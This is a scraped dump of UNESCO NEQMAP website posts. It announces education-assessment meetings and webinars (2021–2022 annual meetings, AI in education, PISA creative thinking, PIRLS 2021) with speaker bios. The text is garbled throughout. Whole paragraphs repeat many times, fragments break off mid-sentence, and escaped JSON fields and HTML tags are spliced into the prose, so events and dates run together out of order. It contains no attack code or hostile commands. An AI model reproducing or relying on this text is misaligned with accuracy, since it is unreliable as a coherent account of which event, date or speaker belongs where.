In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

The research will showcase four case studies from member organisations from the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP), a regional platform coordinated by UNESCO Bangkok. The case studies represent a variety of practices documenting promising and effective policies, practices, and lessons learned on how policymakers and education leaders can best support teachers and schools in effectively integrating assessment practices in the teaching and learning process. The case studies also look at how policymakers and education leaders can help to promote and reinforce the formative use of assessment in schools for a more learner-centered and differentiated approach to teaching and learning.\u00a0<\/p>\n\n\n\n<\/p>\n\n\n\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Webinar Concept Note and Agenda\"><\/object><a id=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\">Webinar Concept Note and Agenda<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\">Download<\/a><\/div>\n\n\n\n<div class=\"wp-block-file\"><a id=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\">NEQMAP-Knowledge-Sharing-Webinar<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\">Download<\/a><\/div>\n","post_title":"Webinar | Supporting schools\u2019 and teachers\u2019 use of assessment to inform learning of all students","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"open","post_password":"","post_name":"webinar-supporting-schools-and-teachers-use-of-assessment-to-inform-learning-of-all-students","to_ping":"","pinged":"","post_modified":"2025-01-16 20:36:11","post_modified_gmt":"2025-01-16 13:36:11","post_content_filtered":"\nDate and Location:\u00a0<\/strong> Thursday 22 June, 2023 12:30 PM - 3:00 PM\u00a0(GMT+7\/Bangkok time)\u00a0<\/p>\n\n\n\nType of event:<\/strong> Knowledge-sharing Webinar<\/p>\n\n\n\nRegistration link:<\/strong> <a href=\"https:\/\/bit.ly\/3WTS6ul\"><\/a><a href=\"http:\/\/bit.ly\/3oW3Waw\">bit.ly\/3oW3Waw<\/a><\/p>\n\n\n\nWe are delighted to invite you to\u00a0the presentation of the NEQMAP 2023 Topical Case studies under the theme\u00a0\u00a0\"<\/strong>\u00a0Supporting schools\u2019 and teachers\u2019 use of assessment to inform learning of all students: topical case studies from Asia and the Pacific.\"\u00a0.\u00a0<\/strong>During this event, you will learn about promising practices and approaches from Australia, Pakistan and India to support schools and teachers better embed assessment in the teaching and learning process.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

In this webinar we discuss the PISA creative thinking assessment framework, including what is involved in the assessment and what we hope to learn from the data.<\/p>\n\n\n\nDate:<\/strong> 14 March 2023, 3:30 pm \u2013 4:45 pm Bangkok time (GMT+7)<\/p>\n\n\n\nRegistration Link: <a href=\"http:\/\/bit.ly\/41rrcfb\">http:\/\/bit.ly\/41rrcfb<\/a><\/strong><\/p>\n\n\n\nFor any questions on this webinar, please get in touch with the NEQMAP Secretariat (<a href=\"mailto:neqmap@unesco.org\">neqmap@unesco.org<\/a>)<\/p>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5651","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5596,"post_author":"1","post_date":"2023-02-09 11:22:00","post_date_gmt":"2023-02-09 04:22:00","post_content":"\nThe NEQMAP Secretariat kindly invites all its members to join\u00a0a webinar\u00a0consultation on the needs for\u00a0\u201cIntegrating 21st<\/sup>\u00a0century skills in teaching and learning policies and practices\u201d on 24 February 2023\u00a0from 9:30 am to 11:30 am Bangkok\u00a0time (GMT+7)<\/strong>.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

The next generation approaches broaden the focus and reflect more of what we think is important for learners in their 12 years of schooling. <\/p>\n\n\n\nSpeaker:\u202f<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/07\/image-684x1024.webp\" alt=\"\" class=\"wp-image-5731\" width=\"156\" height=\"234\"\/><\/figure>\n\n\n\nEnterprise Professor Sandra Milligan<\/strong> is Executive Director of Melbourne Assessment at the Melbourne Graduate School of Education, University of Melbourne.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

In this webinar we discuss the PISA creative thinking assessment framework, including what is involved in the assessment and what we hope to learn from the data.<\/p>\n\n\n\nDate:<\/strong> 14 March 2023, 3:30 pm \u2013 4:45 pm Bangkok time (GMT+7)<\/p>\n\n\n\nRegistration Link: <a href=\"http:\/\/bit.ly\/41rrcfb\">http:\/\/bit.ly\/41rrcfb<\/a><\/strong><\/p>\n\n\n\nFor any questions on this webinar, please get in touch with the NEQMAP Secretariat (<a href=\"mailto:neqmap@unesco.org\">neqmap@unesco.org<\/a>)<\/p>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5651","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5596,"post_author":"1","post_date":"2023-02-09 11:22:00","post_date_gmt":"2023-02-09 04:22:00","post_content":"\nThe NEQMAP Secretariat kindly invites all its members to join\u00a0a webinar\u00a0consultation on the needs for\u00a0\u201cIntegrating 21st<\/sup>\u00a0century skills in teaching and learning policies and practices\u201d on 24 February 2023\u00a0from 9:30 am to 11:30 am Bangkok\u00a0time (GMT+7)<\/strong>.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

In this presentation she will explain new metrics for learning are being established that capture the full range of ambitions for learning, using next generation assessment methods that focus on the development of competence, not just knowledge or compliance to tested requirements. These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods. The next generation approaches broaden the focus and reflect more of what we think is important for learners in their 12 years of schooling. <\/p>\n\n\n\nSpeaker:\u202f<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/07\/image-684x1024.webp\" alt=\"\" class=\"wp-image-5731\" width=\"156\" height=\"234\"\/><\/figure>\n\n\n\nEnterprise Professor Sandra Milligan<\/strong> is Executive Director of Melbourne Assessment at the Melbourne Graduate School of Education, University of Melbourne.

In this presentation she will explain new metrics for learning are being established that capture the full range of ambitions for learning, using next generation assessment methods that focus on the development of competence, not just knowledge or compliance to tested requirements. These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods. The next generation approaches broaden the focus and reflect more of what we think is important for learners in their 12 years of schooling. <\/p>\n\n\n\nSpeaker:\u202f<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/07\/image-684x1024.webp\" alt=\"\" class=\"wp-image-5731\" width=\"156\" height=\"234\"\/><\/figure>\n\n\n\nEnterprise Professor Sandra Milligan<\/strong> is Executive Director of Melbourne Assessment at the Melbourne Graduate School of Education, University of Melbourne.

PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

